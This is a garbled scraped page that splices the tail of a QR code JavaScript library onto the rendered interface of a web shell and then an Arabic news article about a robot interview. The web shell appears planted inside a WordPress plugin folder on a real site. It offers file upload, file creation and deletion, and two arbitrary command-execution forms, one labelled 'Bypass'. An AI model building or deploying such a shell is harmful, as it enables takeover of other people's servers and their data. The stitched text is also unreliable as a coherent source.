      while (n &lt; 0) {
        n += 255;
      }

      while (n &gt;= 256) {
        n -= 255;
      }

      return EXP_TABLE[n];
    };

    return _this;
  }();

  //---------------------------------------------------------------------
  // qrPolynomial
  //---------------------------------------------------------------------

  function qrPolynomial(num, shift) {

    if (typeof num.length == 'undefined') {
      throw num.length + '/' + shift;
    }

    var _num = function() {
      var offset = 0;
      while (offset &lt; num.length &amp;&amp; num[offset] == 0) {
        offset += 1;
      }
      var _num = new Array(num.length - offset + shift);
      for (var i = 0; i &lt; num.length - offset; i += 1) {
        _num[i] = num[i + offset];
      }
      return _num;
    }();

    var _this = {};

    _this.getAt = function(index) {
      return _num[index];
    };

    _this.getLength = function() {
      return _num.length;
    };

    _this.multiply = function(e) {

      var num = new Array(_this.getLength() + e.getLength() - 1);

      for (var i = 0; i &lt; _this.getLength(); i += 1) {
        for (var j = 0; j &lt; e.getLength(); j += 1) {
          num[i + j] ^= QRMath.gexp(QRMath.glog(_this.getAt(i) ) + QRMath.glog(e.getAt(j) ) );
        }
      }

      return qrPolynomial(num, 0);
    };

    _this.mod = function(e) {

      if (_this.getLength() - e.getLength() &lt; 0) {
        return _this;
      }

      var ratio = QRMath.glog(_this.getAt(0) ) - QRMath.glog(e.getAt(0) );

      var num = new Array(_this.getLength() );
      for (var i = 0; i &lt; _this.getLength(); i += 1) {
        num[i] = _this.getAt(i);
      }

      for (var i = 0; i &lt; e.getLength(); i += 1) {
        num[i] ^= QRMath.gexp(QRMath.glog(e.getAt(i) ) + ratio);
      }

      // recursive call
      return qrPolynomial(num, 0).mod(e);
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // QRRSBlock
  //---------------------------------------------------------------------

  var QRRSBlock = function() {

    var RS_BLOCK_TABLE = [

      // L
      // M
      // Q
      // H

      // 1
      [1, 26, 19],
      [1, 26, 16],
      [1, 26, 13],
      [1, 26, 9],

      // 2
      [1, 44, 34],
      [1, 44, 28],
      [1, 44, 22],
      [1, 44, 16],

      // 3
      [1, 70, 55],
      [1, 70, 44],
      [2, 35, 17],
      [2, 35, 13],

      // 4
      [1, 100, 80],
      [2, 50, 32],
      [2, 50, 24],
      [4, 25, 9],

      // 5
      [1, 134, 108],
      [2, 67, 43],
      [2, 33, 15, 2, 34, 16],
      [2, 33, 11, 2, 34, 12],

      // 6
      [2, 86, 68],
      [4, 43, 27],
      [4, 43, 19],
      [4, 43, 15],

      // 7
      [2, 98, 78],
      [4, 49, 31],
      [2, 32, 14, 4, 33, 15],
      [4, 39, 13, 1, 40, 14],

      // 8
      [2, 121, 97],
      [2, 60, 38, 2, 61, 39],
      [4, 40, 18, 2, 41, 19],
      [4, 40, 14, 2, 41, 15],

      // 9
      [2, 146, 116],
      [3, 58, 36, 2, 59, 37],
      [4, 36, 16, 4, 37, 17],
      [4, 36, 12, 4, 37, 13],

      // 10
      [2, 86, 68, 2, 87, 69],
      [4, 69, 43, 1, 70, 44],
      [6, 43, 19, 2, 44, 20],
      [6, 43, 15, 2, 44, 16],

      // 11
      [4, 101, 81],
      [1, 80, 50, 4, 81, 51],
      [4, 50, 22, 4, 51, 23],
      [3, 36, 12, 8, 37, 13],

      // 12
      [2, 116, 92, 2, 117, 93],
      [6, 58, 36, 2, 59, 37],
      [4, 46, 20, 6, 47, 21],
      [7, 42, 14, 4, 43, 15],

      // 13
      [4, 133, 107],
      [8, 59, 37, 1, 60, 38],
      [8, 44, 20, 4, 45, 21],
      [12, 33, 11, 4, 34, 12],

      // 14
      [3, 145, 115, 1, 146, 116],
      [4, 64, 40, 5, 65, 41],
      [11, 36, 16, 5, 37, 17],
      [11, 36, 12, 5, 37, 13],

      // 15
      [5, 109, 87, 1, 110, 88],
      [5, 65, 41, 5, 66, 42],
      [5, 54, 24, 7, 55, 25],
      [11, 36, 12, 7, 37, 13],

      // 16
      [5, 122, 98, 1, 123, 99],
      [7, 73, 45, 3, 74, 46],
      [15, 43, 19, 2, 44, 20],
      [3, 45, 15, 13, 46, 16],

      // 17
      [1, 135, 107, 5, 136, 108],
      [10, 74, 46, 1, 75, 47],
      [1, 50, 22, 15, 51, 23],
      [2, 42, 14, 17, 43, 15],

      // 18
      [5, 150, 120, 1, 151, 121],
      [9, 69, 43, 4, 70, 44],
      [17, 50, 22, 1, 51, 23],
      [2, 42, 14, 19, 43, 15],

      // 19
      [3, 141, 113, 4, 142, 114],
      [3, 70, 44, 11, 71, 45],
      [17, 47, 21, 4, 48, 22],
      [9, 39, 13, 16, 40, 14],

      // 20
      [3, 135, 107, 5, 136, 108],
      [3, 67, 41, 13, 68, 42],
      [15, 54, 24, 5, 55, 25],
      [15, 43, 15, 10, 44, 16],

      // 21
      [4, 144, 116, 4, 145, 117],
      [17, 68, 42],
      [17, 50, 22, 6, 51, 23],
      [19, 46, 16, 6, 47, 17],

      // 22
      [2, 139, 111, 7, 140, 112],
      [17, 74, 46],
      [7, 54, 24, 16, 55, 25],
      [34, 37, 13],

      // 23
      [4, 151, 121, 5, 152, 122],
      [4, 75, 47, 14, 76, 48],
      [11, 54, 24, 14, 55, 25],
      [16, 45, 15, 14, 46, 16],

      // 24
      [6, 147, 117, 4, 148, 118],
      [6, 73, 45, 14, 74, 46],
      [11, 54, 24, 16, 55, 25],
      [30, 46, 16, 2, 47, 17],

      // 25
      [8, 132, 106, 4, 133, 107],
      [8, 75, 47, 13, 76, 48],
      [7, 54, 24, 22, 55, 25],
      [22, 45, 15, 13, 46, 16],

      // 26
      [10, 142, 114, 2, 143, 115],
      [19, 74, 46, 4, 75, 47],
      [28, 50, 22, 6, 51, 23],
      [33, 46, 16, 4, 47, 17],

      // 27
      [8, 152, 122, 4, 153, 123],
      [22, 73, 45, 3, 74, 46],
      [8, 53, 23, 26, 54, 24],
      [12, 45, 15, 28, 46, 16],

      // 28
      [3, 147, 117, 10, 148, 118],
      [3, 73, 45, 23, 74, 46],
      [4, 54, 24, 31, 55, 25],
      [11, 45, 15, 31, 46, 16],

      // 29
      [7, 146, 116, 7, 147, 117],
      [21, 73, 45, 7, 74, 46],
      [1, 53, 23, 37, 54, 24],
      [19, 45, 15, 26, 46, 16],

      // 30
      [5, 145, 115, 10, 146, 116],
      [19, 75, 47, 10, 76, 48],
      [15, 54, 24, 25, 55, 25],
      [23, 45, 15, 25, 46, 16],

      // 31
      [13, 145, 115, 3, 146, 116],
      [2, 74, 46, 29, 75, 47],
      [42, 54, 24, 1, 55, 25],
      [23, 45, 15, 28, 46, 16],

      // 32
      [17, 145, 115],
      [10, 74, 46, 23, 75, 47],
      [10, 54, 24, 35, 55, 25],
      [19, 45, 15, 35, 46, 16],

      // 33
      [17, 145, 115, 1, 146, 116],
      [14, 74, 46, 21, 75, 47],
      [29, 54, 24, 19, 55, 25],
      [11, 45, 15, 46, 46, 16],

      // 34
      [13, 145, 115, 6, 146, 116],
      [14, 74, 46, 23, 75, 47],
      [44, 54, 24, 7, 55, 25],
      [59, 46, 16, 1, 47, 17],

      // 35
      [12, 151, 121, 7, 152, 122],
      [12, 75, 47, 26, 76, 48],
      [39, 54, 24, 14, 55, 25],
      [22, 45, 15, 41, 46, 16],

      // 36
      [6, 151, 121, 14, 152, 122],
      [6, 75, 47, 34, 76, 48],
      [46, 54, 24, 10, 55, 25],
      [2, 45, 15, 64, 46, 16],

      // 37
      [17, 152, 122, 4, 153, 123],
      [29, 74, 46, 14, 75, 47],
      [49, 54, 24, 10, 55, 25],
      [24, 45, 15, 46, 46, 16],

      // 38
      [4, 152, 122, 18, 153, 123],
      [13, 74, 46, 32, 75, 47],
      [48, 54, 24, 14, 55, 25],
      [42, 45, 15, 32, 46, 16],

      // 39
      [20, 147, 117, 4, 148, 118],
      [40, 75, 47, 7, 76, 48],
      [43, 54, 24, 22, 55, 25],
      [10, 45, 15, 67, 46, 16],

      // 40
      [19, 148, 118, 6, 149, 119],
      [18, 75, 47, 31, 76, 48],
      [34, 54, 24, 34, 55, 25],
      [20, 45, 15, 61, 46, 16]
    ];

    var qrRSBlock = function(totalCount, dataCount) {
      var _this = {};
      _this.totalCount = totalCount;
      _this.dataCount = dataCount;
      return _this;
    };

    var _this = {};

    var getRsBlockTable = function(typeNumber, errorCorrectionLevel) {

      switch(errorCorrectionLevel) {
      case QRErrorCorrectionLevel.L :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 0];
      case QRErrorCorrectionLevel.M :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 1];
      case QRErrorCorrectionLevel.Q :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 2];
      case QRErrorCorrectionLevel.H :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 3];
      default :
        return undefined;
      }
    };

    _this.getRSBlocks = function(typeNumber, errorCorrectionLevel) {

      var rsBlock = getRsBlockTable(typeNumber, errorCorrectionLevel);

      if (typeof rsBlock == 'undefined') {
        throw 'bad rs block @ typeNumber:' + typeNumber +
            '/errorCorrectionLevel:' + errorCorrectionLevel;
      }

      var length = rsBlock.length / 3;

      var list = [];

      for (var i = 0; i &lt; length; i += 1) {

        var count = rsBlock[i * 3 + 0];
        var totalCount = rsBlock[i * 3 + 1];
        var dataCount = rsBlock[i * 3 + 2];

        for (var j = 0; j &lt; count; j += 1) {
          list.push(qrRSBlock(totalCount, dataCount) );
        }
      }

      return list;
    };

    return _this;
  }();

  //---------------------------------------------------------------------
  // qrBitBuffer
  //---------------------------------------------------------------------

  var qrBitBuffer = function() {

    var _buffer = [];
    var _length = 0;

    var _this = {};

    _this.getBuffer = function() {
      return _buffer;
    };

    _this.getAt = function(index) {
      var bufIndex = Math.floor(index / 8);
      return ( (_buffer[bufIndex] &gt;&gt;&gt; (7 - index % 8) ) &amp; 1) == 1;
    };

    _this.put = function(num, length) {
      for (var i = 0; i &lt; length; i += 1) {
        _this.putBit( ( (num &gt;&gt;&gt; (length - i - 1) ) &amp; 1) == 1);
      }
    };

    _this.getLengthInBits = function() {
      return _length;
    };

    _this.putBit = function(bit) {

      var bufIndex = Math.floor(_length / 8);
      if (_buffer.length &lt;= bufIndex) {
        _buffer.push(0);
      }

      if (bit) {
        _buffer[bufIndex] |= (0x80 &gt;&gt;&gt; (_length % 8) );
      }

      _length += 1;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrNumber
  //---------------------------------------------------------------------

  var qrNumber = function(data) {

    var _mode = QRMode.MODE_NUMBER;
    var _data = data;

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _data.length;
    };

    _this.write = function(buffer) {

      var data = _data;

      var i = 0;

      while (i + 2 &lt; data.length) {
        buffer.put(strToNum(data.substring(i, i + 3) ), 10);
        i += 3;
      }

      if (i &lt; data.length) {
        if (data.length - i == 1) {
          buffer.put(strToNum(data.substring(i, i + 1) ), 4);
        } else if (data.length - i == 2) {
          buffer.put(strToNum(data.substring(i, i + 2) ), 7);
        }
      }
    };

    var strToNum = function(s) {
      var num = 0;
      for (var i = 0; i &lt; s.length; i += 1) {
        num = num * 10 + chatToNum(s.charAt(i) );
      }
      return num;
    };

    var chatToNum = function(c) {
      if ('0' &lt;= c &amp;&amp; c &lt;= '9') {
        return c.charCodeAt(0) - '0'.charCodeAt(0);
      }
      throw 'illegal char :' + c;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrAlphaNum
  //---------------------------------------------------------------------

  var qrAlphaNum = function(data) {

    var _mode = QRMode.MODE_ALPHA_NUM;
    var _data = data;

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _data.length;
    };

    _this.write = function(buffer) {

      var s = _data;

      var i = 0;

      while (i + 1 &lt; s.length) {
        buffer.put(
          getCode(s.charAt(i) ) * 45 +
          getCode(s.charAt(i + 1) ), 11);
        i += 2;
      }

      if (i &lt; s.length) {
        buffer.put(getCode(s.charAt(i) ), 6);
      }
    };

    var getCode = function(c) {

      if ('0' &lt;= c &amp;&amp; c &lt;= '9') {
        return c.charCodeAt(0) - '0'.charCodeAt(0);
      } else if ('A' &lt;= c &amp;&amp; c &lt;= 'Z') {
        return c.charCodeAt(0) - 'A'.charCodeAt(0) + 10;
      } else {
        switch (c) {
        case ' ' : return 36;
        case '$' : return 37;
        case '%' : return 38;
        case '*' : return 39;
        case '+' : return 40;
        case '-' : return 41;
        case '.' : return 42;
        case '/' : return 43;
        case ':' : return 44;
        default :
          throw 'illegal char :' + c;
        }
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qr8BitByte
  //---------------------------------------------------------------------

  var qr8BitByte = function(data) {

    var _mode = QRMode.MODE_8BIT_BYTE;
    var _data = data;
    var _bytes = qrcode.stringToBytes(data);

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _bytes.length;
    };

    _this.write = function(buffer) {
      for (var i = 0; i &lt; _bytes.length; i += 1) {
        buffer.put(_bytes[i], 8);
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrKanji
  //---------------------------------------------------------------------

  var qrKanji = function(data) {

    var _mode = QRMode.MODE_KANJI;
    var _data = data;

    var stringToBytes = qrcode.stringToBytesFuncs['SJIS'];
    if (!stringToBytes) {
      throw 'sjis not supported.';
    }
    !function(c, code) {
      // self test for sjis support.
      var test = stringToBytes(c);
      if (test.length != 2 || ( (test[0] &lt;&lt; 8) | test[1]) != code) {
        throw 'sjis not supported.';
      }
    }('\u53cb', 0x9746);

    var _bytes = stringToBytes(data);

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return ~~(_bytes.length / 2);
    };

    _this.write = function(buffer) {

      var data = _bytes;

      var i = 0;

      while (i + 1 &lt; data.length) {

        var c = ( (0xff &amp; data[i]) &lt;&lt; 8) | (0xff &amp; data[i + 1]);

        if (0x8140 &lt;= c &amp;&amp; c &lt;= 0x9FFC) {
          c -= 0x8140;
        } else if (0xE040 &lt;= c &amp;&amp; c &lt;= 0xEBBF) {
          c -= 0xC140;
        } else {
          throw 'illegal char at ' + (i + 1) + '/' + c;
        }

        c = ( (c &gt;&gt;&gt; 8) &amp; 0xff) * 0xC0 + (c &amp; 0xff);

        buffer.put(c, 13);

        i += 2;
      }

      if (i &lt; data.length) {
        throw 'illegal char at ' + (i + 1);
      }
    };

    return _this;
  };

  //=====================================================================
  // GIF Support etc.
  //

  //---------------------------------------------------------------------
  // byteArrayOutputStream
  //---------------------------------------------------------------------

  var byteArrayOutputStream = function() {

    var _bytes = [];

    var _this = {};

    _this.writeByte = function(b) {
      _bytes.push(b &amp; 0xff);
    };

    _this.writeShort = function(i) {
      _this.writeByte(i);
      _this.writeByte(i &gt;&gt;&gt; 8);
    };

    _this.writeBytes = function(b, off, len) {
      off = off || 0;
      len = len || b.length;
      for (var i = 0; i &lt; len; i += 1) {
        _this.writeByte(b[i + off]);
      }
    };

    _this.writeString = function(s) {
      for (var i = 0; i &lt; s.length; i += 1) {
        _this.writeByte(s.charCodeAt(i) );
      }
    };

    _this.toByteArray = function() {
      return _bytes;
    };

    _this.toString = function() {
      var s = '';
      s += '[';
      for (var i = 0; i &lt; _bytes.length; i += 1) {
        if (i &gt; 0) {
          s += ',';
        }
        s += _bytes[i];
      }
      s += ']';
      return s;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // base64EncodeOutputStream
  //---------------------------------------------------------------------

  var base64EncodeOutputStream = function() {

    var _buffer = 0;
    var _buflen = 0;
    var _length = 0;
    var _base64 = '';

    var _this = {};

    var writeEncoded = function(b) {
      _base64 += String.fromCharCode(encode(b &amp; 0x3f) );
    };

    var encode = function(n) {
      if (n &lt; 0) {
        // error.
      } else if (n &lt; 26) {
        return 0x41 + n;
      } else if (n &lt; 52) {
        return 0x61 + (n - 26);
      } else if (n &lt; 62) {
        return 0x30 + (n - 52);
      } else if (n == 62) {
        return 0x2b;
      } else if (n == 63) {
        return 0x2f;
      }
      throw 'n:' + n;
    };

    _this.writeByte = function(n) {

      _buffer = (_buffer &lt;&lt; 8) | (n &amp; 0xff);
      _buflen += 8;
      _length += 1;

      while (_buflen &gt;= 6) {
        writeEncoded(_buffer &gt;&gt;&gt; (_buflen - 6) );
        _buflen -= 6;
      }
    };

    _this.flush = function() {

      if (_buflen &gt; 0) {
        writeEncoded(_buffer &lt;&lt; (6 - _buflen) );
        _buffer = 0;
        _buflen = 0;
      }

      if (_length % 3 != 0) {
        // padding
        var padlen = 3 - _length % 3;
        for (var i = 0; i &lt; padlen; i += 1) {
          _base64 += '=';
        }
      }
    };

    _this.toString = function() {
      return _base64;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // base64DecodeInputStream
  //---------------------------------------------------------------------

  var base64DecodeInputStream = function(str) {

    var _str = str;
    var _pos = 0;
    var _buffer = 0;
    var _buflen = 0;

    var _this = {};

    _this.read = function() {

      while (_buflen &lt; 8) {

        if (_pos &gt;= _str.length) {
          if (_buflen == 0) {
            return -1;
          }
          throw 'unexpected end of file./' + _buflen;
        }

        var c = _str.charAt(_pos);
        _pos += 1;

        if (c == '=') {
          _buflen = 0;
          return -1;
        } else if (c.match(/^\s$/) ) {
          // ignore if whitespace.
          continue;
        }

        _buffer = (_buffer &lt;&lt; 6) | decode(c.charCodeAt(0) );
        _buflen += 6;
      }

      var n = (_buffer &gt;&gt;&gt; (_buflen - 8) ) &amp; 0xff;
      _buflen -= 8;
      return n;
    };

    var decode = function(c) {
      if (0x41 &lt;= c &amp;&amp; c &lt;= 0x5a) {
        return c - 0x41;
      } else if (0x61 &lt;= c &amp;&amp; c &lt;= 0x7a) {
        return c - 0x61 + 26;
      } else if (0x30 &lt;= c &amp;&amp; c &lt;= 0x39) {
        return c - 0x30 + 52;
      } else if (c == 0x2b) {
        return 62;
      } else if (c == 0x2f) {
        return 63;
      } else {
        throw 'c:' + c;
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // gifImage (B/W)
  //---------------------------------------------------------------------

  var gifImage = function(width, height) {

    var _width = width;
    var _height = height;
    var _data = new Array(width * height);

    var _this = {};

    _this.setPixel = function(x, y, pixel) {
      _data[y * _width + x] = pixel;
    };

    _this.write = function(out) {

      //---------------------------------
      // GIF Signature

      out.writeString('GIF87a');

      //---------------------------------
      // Screen Descriptor

      out.writeShort(_width);
      out.writeShort(_height);

      out.writeByte(0x80); // 2bit
      out.writeByte(0);
      out.writeByte(0);

      //---------------------------------
      // Global Color Map

      // black
      out.writeByte(0x00);
      out.writeByte(0x00);
      out.writeByte(0x00);

      // white
      out.writeByte(0xff);
      out.writeByte(0xff);
      out.writeByte(0xff);

      //---------------------------------
      // Image Descriptor

      out.writeString(',');
      out.writeShort(0);
      out.writeShort(0);
      out.writeShort(_width);
      out.writeShort(_height);
      out.writeByte(0);

      //---------------------------------
      // Local Color Map

      //---------------------------------
      // Raster Data

      var lzwMinCodeSize = 2;
      var raster = getLZWRaster(lzwMinCodeSize);

      out.writeByte(lzwMinCodeSize);

      var offset = 0;

      while (raster.length - offset &gt; 255) {
        out.writeByte(255);
        out.writeBytes(raster, offset, 255);
        offset += 255;
      }

      out.writeByte(raster.length - offset);
      out.writeBytes(raster, offset, raster.length - offset);
      out.writeByte(0x00);

      //---------------------------------
      // GIF Terminator
      out.writeString(';');
    };

    var bitOutputStream = function(out) {

      var _out = out;
      var _bitLength = 0;
      var _bitBuffer = 0;

      var _this = {};

      _this.write = function(data, length) {

        if ( (data &gt;&gt;&gt; length) != 0) {
          throw 'length over';
        }

        while (_bitLength + length &gt;= 8) {
          _out.writeByte(0xff &amp; ( (data &lt;&lt; _bitLength) | _bitBuffer) );
          length -= (8 - _bitLength);
          data &gt;&gt;&gt;= (8 - _bitLength);
          _bitBuffer = 0;
          _bitLength = 0;
        }

        _bitBuffer = (data &lt;&lt; _bitLength) | _bitBuffer;
        _bitLength = _bitLength + length;
      };

      _this.flush = function() {
        if (_bitLength &gt; 0) {
          _out.writeByte(_bitBuffer);
        }
      };

      return _this;
    };

    var getLZWRaster = function(lzwMinCodeSize) {

      var clearCode = 1 &lt;&lt; lzwMinCodeSize;
      var endCode = (1 &lt;&lt; lzwMinCodeSize) + 1;
      var bitLength = lzwMinCodeSize + 1;

      // Setup LZWTable
      var table = lzwTable();

      for (var i = 0; i &lt; clearCode; i += 1) {
        table.add(String.fromCharCode(i) );
      }
      table.add(String.fromCharCode(clearCode) );
      table.add(String.fromCharCode(endCode) );

      var byteOut = byteArrayOutputStream();
      var bitOut = bitOutputStream(byteOut);

      // clear code
      bitOut.write(clearCode, bitLength);

      var dataIndex = 0;

      var s = String.fromCharCode(_data[dataIndex]);
      dataIndex += 1;

      while (dataIndex &lt; _data.length) {

        var c = String.fromCharCode(_data[dataIndex]);
        dataIndex += 1;

        if (table.contains(s + c) ) {

          s = s + c;

        } else {

          bitOut.write(table.indexOf(s), bitLength);

          if (table.size() &lt; 0xfff) {

            if (table.size() == (1 &lt;&lt; bitLength) ) {
              bitLength += 1;
            }

            table.add(s + c);
          }

          s = c;
        }
      }

      bitOut.write(table.indexOf(s), bitLength);

      // end code
      bitOut.write(endCode, bitLength);

      bitOut.flush();

      return byteOut.toByteArray();
    };

    var lzwTable = function() {

      var _map = {};
      var _size = 0;

      var _this = {};

      _this.add = function(key) {
        if (_this.contains(key) ) {
          throw 'dup key:' + key;
        }
        _map[key] = _size;
        _size += 1;
      };

      _this.size = function() {
        return _size;
      };

      _this.indexOf = function(key) {
        return _map[key];
      };

      _this.contains = function(key) {
        return typeof _map[key] != 'undefined';
      };

      return _this;
    };

    return _this;
  };

  var createDataURL = function(width, height, getPixel) {
    var gif = gifImage(width, height);
    for (var y = 0; y &lt; height; y += 1) {
      for (var x = 0; x &lt; width; x += 1) {
        gif.setPixel(x, y, getPixel(x, y) );
      }
    }

    var b = byteArrayOutputStream();
    gif.write(b);

    var base64 = base64EncodeOutputStream();
    var bytes = b.toByteArray();
    for (var i = 0; i &lt; bytes.length; i += 1) {
      base64.writeByte(bytes[i]);
    }
    base64.flush();

    return 'data:image/gif;base64,' + base64;
  };

  //---------------------------------------------------------------------
  // returns qrcode function.

  return qrcode;
}();

// multibyte support
!function() {

  qrcode.stringToBytesFuncs['UTF-8'] = function(s) {
    // http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array
    function toUTF8Array(str) {
      var utf8 = [];
      for (var i=0; i &lt; str.length; i++) {
        var charcode = str.charCodeAt(i);
        if (charcode &lt; 0x80) utf8.push(charcode);
        else if (charcode &lt; 0x800) {
          utf8.push(0xc0 | (charcode &gt;&gt; 6),
              0x80 | (charcode &amp; 0x3f));
        }
        else if (charcode &lt; 0xd800 || charcode &gt;= 0xe000) {
          utf8.push(0xe0 | (charcode &gt;&gt; 12),
              0x80 | ((charcode&gt;&gt;6) &amp; 0x3f),
              0x80 | (charcode &amp; 0x3f));
        }
        // surrogate pair
        else {
          i++;
          // UTF-16 encodes 0x10000-0x10FFFF by
          // subtracting 0x10000 and splitting the
          // 20 bits of 0x0-0xFFFFF into two halves
          charcode = 0x10000 + (((charcode &amp; 0x3ff)&lt;&lt;10)
            | (str.charCodeAt(i) &amp; 0x3ff));
          utf8.push(0xf0 | (charcode &gt;&gt;18),
              0x80 | ((charcode&gt;&gt;12) &amp; 0x3f),
              0x80 | ((charcode&gt;&gt;6) &amp; 0x3f),
              0x80 | (charcode &amp; 0x3f));
        }
      }
      return utf8;
    }
    return toUTF8Array(s);
  };

}();

(function (factory) {
  if (typeof define === 'function' &amp;&amp; define.amd) {
      define([], factory);
  } else if (typeof exports === 'object') {
      module.exports = factory();
  }
}(function () {
    return qrcode;
}));
</pre><!DOCTYPE html>
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  <meta charset="UTF-8">
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  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
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      font-family: monospace;
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      padding: 16px;
      line-height: 1.5;
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      color: #8ab4f8;
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    button {
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      background: #222;
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    }
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      margin: 12px 0;
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      background: #000;
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      max-height: 400px;
      overflow-y: auto;
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    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content">wp-content</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins">plugins</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl">really-simple-ssl</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets">assets</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs">js</a></div>
  <ul>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs%2Fqrcode.js"> qrcode.js</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js/qrcode.js">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs%2Fqrcode.min.js"> qrcode.min.js</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js/qrcode.min.js">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
      </ul>
<script>
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  document.querySelectorAll('.result-box').forEach(t => {
    t.style.height = 'auto';
    t.style.height = t.scrollHeight + 'px';
  });
});
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	<title>حكاية أول حوار مع روبوت : محمد طه يروى الكواليس &#8211; tahkoom.com</title>
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			حكاية أول حوار مع روبوت : محمد طه يروى الكواليس		</h1>

		<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">يونيو 5, 2025</span><div class="tie-alignright"><span class="meta-views meta-item very-hot"><span class="tie-icon-fire" aria-hidden="true"></span> 12٬393 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 6 دقائق</span> </div></div><!-- .post-meta -->	</div><!-- .entry-header /-->

	
	
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<p><strong>أجابت الآلة على الأسئلة ؟: ماذا قال روبوت ل محمد طه؟</strong></p>



<p><strong>بعد 8 سنوات .. تنبؤات الروبوت تتحول إلى واقع..</strong></p>



<p><strong>حروب 2025 في حوار منذ2017؟</strong></p>



<p><strong>: محمد طه يكشف أسرار حول الذكاء الاصطناعي</strong></p>



<p><strong><mark class="has-inline-color has-white-color" style="background-color: rgba(0,0,0,0); color: #ffffff;">كتبت : فرح سمير </mark></strong></p>



<p>تضمن حواراً فريدًا من نوعه، BBC في عام 2017، شهد الإعلام العربي حدثًا غير مسبوق، حيث تم بث مباشر عبر قناة العربية</p>



<p>أُجري مع روبوت مدعوم بالذكاء الاصطناعي يحاكي البشر .وكان هذا الحوار من تقديم الإعلامي محمد طه، مراسل الشؤون التكنولوجية في القناة</p>



<p>منذ ذلك الحين، واصل محمد طه تقديم أبرز التقارير والتغطيات لأهم المؤتمرات العالمية، وكان دائمًا مميز ا في تناول أحدث التطورات التكنولوجية وفي هذا اللقاء الحصري، يحدثنا عن كواليس حواره مع الروبوت &#8220;صوفيا&#8221;، ويتطرق إلى آرائه حول الذكاء الاصطناعي، ومستقبل الإعلام، والتحولات التقنية التي باتت تؤثر في كل القطاعات</p>



<p><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">&#8211; صف لي شعورك عندما أجابك الروبوت، واستطاع بالفعل مجاراة الحوار، نظرًا لأن المقابلة كانت في عام 2017 ؟</mark></strong></p>



